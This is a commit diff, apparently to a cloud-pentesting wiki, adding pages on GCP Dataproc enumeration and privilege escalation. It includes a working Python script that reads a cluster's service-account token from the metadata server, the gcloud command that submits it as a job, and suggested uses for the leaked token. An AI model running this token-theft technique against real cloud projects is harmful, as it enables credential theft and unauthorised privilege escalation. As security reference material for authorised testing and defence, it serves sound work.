Skip to content

Commit 3af4043

Browse files
author
Mac
committed
dataproc privesc
1 parent 02042a1 commit 3af4043

File tree

2 files changed

+113
-0
lines changed

2 files changed

+113
-0
lines changed
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
# GCP Dataproc Privilege Escalation
2+
3+
## Dataproc Roles and Privilege Escalation
4+
5+
Google Cloud Dataproc roles like roles/dataproc.editor and roles/dataproc.admin grant significant permissions over Dataproc resources. If these roles are assigned to a compromised user or service account, they can be abused to escalate privileges by leaking sensitive metadata tokens or accessing other GCP resources.
6+
7+
## Key Permissions in Dataproc Roles
8+
9+
roles/dataproc.editor - Modify Dataproc jobs. Submit PySpark, Spark, Hadoop, and other job types to a cluster. Access job logs and configurations. Interact with associated GCP services like Cloud Storage and BigQuery.
10+
11+
roles/dataproc.admin - Full control over Dataproc clusters, including creating, deleting, and managing clusters.
12+
13+
These permissions make both roles highly sensitive and dangerous if misused.
14+
15+
16+
## Privilege Escalation via Metadata Token Leaking
17+
18+
By abusing the permissions granted by roles/dataproc.editor or roles/dataproc.admin, an attacker can:
19+
20+
- Submit a job to a Dataproc cluster.
21+
22+
- Use the job to access the metadata server.
23+
24+
- Leak the service account token used by the cluster.
25+
26+
### Example Script for token leaking
27+
28+
The following script demonstrates how an attacker can submit a job to a Dataproc cluster to leak the metadata token:
29+
30+
import requests
31+
32+
# Metadata server URL to fetch the access token
33+
34+
```
35+
metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
36+
headers = {"Metadata-Flavor": "Google"}
37+
38+
def fetch_metadata_token():
39+
try:
40+
response = requests.get(metadata_url, headers=headers, timeout=5)
41+
response.raise_for_status()
42+
token = response.json().get("access_token", "")
43+
print(f"Leaked Token: {token}")
44+
return token
45+
except Exception as e:
46+
print(f"Error fetching metadata token: {e}")
47+
return None
48+
49+
if __name__ == "__main__":
50+
fetch_metadata_token()
51+
```
52+
53+
### Steps to exploit
54+
55+
```
56+
gcloud dataproc jobs submit pyspark gs://<bucket-name>/fetch_metadata_token.py \
57+
--cluster=<cluster-name> \
58+
--region=<region>
59+
```
60+
### Use the Leaked Token
61+
62+
The leaked token can be used to:
63+
64+
- Access GCP APIs and resources (depending on the token’s permissions).
65+
- Enumerate resources such as Cloud Storage buckets, BigQuery datasets, and more.
66+
- Potentially escalate privileges further if the token has high-level permissions (e.g., roles/owner)
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
# GCP Dataproc Enum
2+
3+
## Basic Infromation
4+
5+
Google Cloud Dataproc is a fully managed service for running Apache Spark, Apache Hadoop, Apache Flink, and other big data frameworks. It is primarily used for data processing, querying, machine learning, and stream analytics. Dataproc enables organizations to create clusters for distributed computing with ease, integrating seamlessly with other Google Cloud Platform (GCP) services like Cloud Storage, BigQuery, and Cloud Monitoring.
6+
7+
Dataproc clusters run on virtual machines (VMs), and the service account associated with these VMs determines the permissions and access level of the cluster.
8+
9+
## Components
10+
11+
A Dataproc cluster typically includes:
12+
13+
Master Node: Manages cluster resources and coordinates distributed tasks.
14+
15+
Worker Nodes: Execute distributed tasks.
16+
17+
Service Accounts: Handle API calls and access other GCP services.
18+
19+
## Enumeration
20+
21+
Dataproc clusters, jobs, and configurations can be enumerated to gather sensitive information, such as service accounts, permissions, and potential misconfigurations.
22+
23+
### Cluster Enumeration
24+
25+
To enumerate Dataproc clusters and retrieve their details:
26+
27+
```
28+
gcloud dataproc clusters list --region=<region>
29+
gcloud dataproc clusters describe <cluster-name> --region=<region>
30+
```
31+
32+
### Job Enumeration
33+
34+
```
35+
gcloud dataproc jobs list --region=<region>
36+
gcloud dataproc jobs describe <job-id> --region=<region>
37+
```
38+
39+
### Post Exploitation
40+
41+
Enumerating Dataproc clusters can expose sensitive data, such as tokens, configuration scripts, or job output logs, which can be leveraged for further exploitation. Misconfigured roles or excessive permissions granted to the service account can allow:
42+
43+
Access to sensitive APIs (e.g., BigQuery, Cloud Storage).
44+
45+
Token Exfiltration via metadata server.
46+
47+
Data Exfiltration from misconfigured buckets or job logs.

0 commit comments

Comments
 (0)